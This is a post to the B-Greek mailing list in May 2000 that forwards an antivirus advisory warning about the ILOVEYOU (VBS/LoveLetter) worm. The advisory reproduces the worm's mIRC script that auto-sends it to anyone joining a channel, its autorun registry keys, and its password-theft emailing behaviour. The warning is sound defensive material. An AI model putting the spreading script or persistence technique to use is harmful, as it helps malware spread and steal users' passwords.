Virus Name.htm

Paul F. Evans evans at wilmington.net
Thu May 4 22:18:45 EDT 2000


Virus Name:Folks,

Sorry for and replication or redundancy.  However, this is serious enough for all who use the net to be aware of it.  Because the e-mail addresses are generated from infected computers there is a false sense of security because the sender will be someone you know.

Paul


Virus Name:      VBS/LoveLetter.worm

Aliases:            none known

 

Characteristics:

 

This worm is a VBS program that is sent attached to an email with the subject ILOVEYOU. 

The mail contains the message "kindly check the attached LOVELETTER coming from me."

 

The attachment is called LOVE-LETTER-FOR-YOU.TXT.vbs

 

If the user runs the attachment the worm runs using the Windows Scripting Host program. This is not normally present on

Windows 95 or Windows NT unless Internet Explorer 5 is installed.

 

When the worm is first run it drops copies of itself in the following places :-

 

C:\WINDOWS\SYSTEM\MSKERNEL32.VBS

C:\WINDOWS\WIN32DLL.VBS

C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.TXT.VBS

 

It also adds the registry keys :-

 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ MSKernel32=C:\WINDOWS\SYSTEM\MSKernel32.vbs

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\ Win32DLL=C:\WINDOWS\Win32DLL.vbs

 

in order to run the worm at system start-up.

 

 

The worm replaces the following files :-

 

*.JPG

*.JPEG

*.MP3

*.MP2

 

with copies of itself and it adds the extension .VBS to the original filename. So PICT.JPG would be replaced with PICT.JPG.VBS and this would contain the worm.

 

The worm also overwrites the following files :-

 

*.VBS

*.VBE

*.JS

*.JSE

*.CSS

*.WSH

*.SCT

*.HTA

 

with copies of itself and renames the files to *.VBS.

 

The worm creates a file LOVE-LETTER-FOR-YOU.HTM which contains the worm and this is then sent to the IRC channels if

the mIRC client is installed. This is accomplished by the worm replacing the file SCRIPT.INI with the following script :-

 

[script]

n0=on 1:JOIN:#:{

n1=  /if ( $nick == $me ) { halt }

n2=  /.dcc send $nick C:\WINDOWS\SYSTEM\LOVE-LETTER-FOR-YOU.HTM

n3=}

 

After a short delay the worm uses Microsoft Outlook to send copies of itself to all entries in the address book. 

The mails will be of the same format as the original mail.

 

 

This worm also has another trick up it's sleeve in that it tries to download and install an executable file called WIN-BUGSFIX.EXE from the Internet. This exe file is a password stealing program that will email any cached passwords

to the mail address MAILME at SUPER.NET.PH

 

In order to facilitate this download the worm sets the start-up page of Microsoft Internet Explorer to point to the web-page containing the password stealing trojan.

 

The email sent by this program is as follows :-

 

 

From: goat1 at 192.168.0.2To: mailme at super.net.phSubject: Barok... email.passwords.sender.trojanX-Mailer: Barok... email.passwords.sender.trojan---by: spyderHost: goat1Username: Goat1IP Address: 192.168.0.2

 

RAS Passwords:...

<password information goes here>

...

Cache Passwords:...

<password information goes here>

...

 

goatserver.goatnet/goatserver.goatnet : GOATNET\goat1:

 

MAPI                           : MAPI

 

 

 

The password stealing trojan is also installed via the following registry key :-

 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-BUGSFIX

 

to auto run at system start-up.

 

After it has been run the password stealing trojan copies itself to WINDOWS\SYSTEM\WinFAT32.EXE and replaces the registry key with

 

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WinFAT32=WinFAT32.EXE

 

 

 

Date Discovered: Thursday May 4th 2000

DAT included:    4077

Risk:                 High

 

-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.ibiblio.org/pipermail/b-greek/attachments/20000504/e7014e18/attachment.html 


More information about the B-Greek mailing list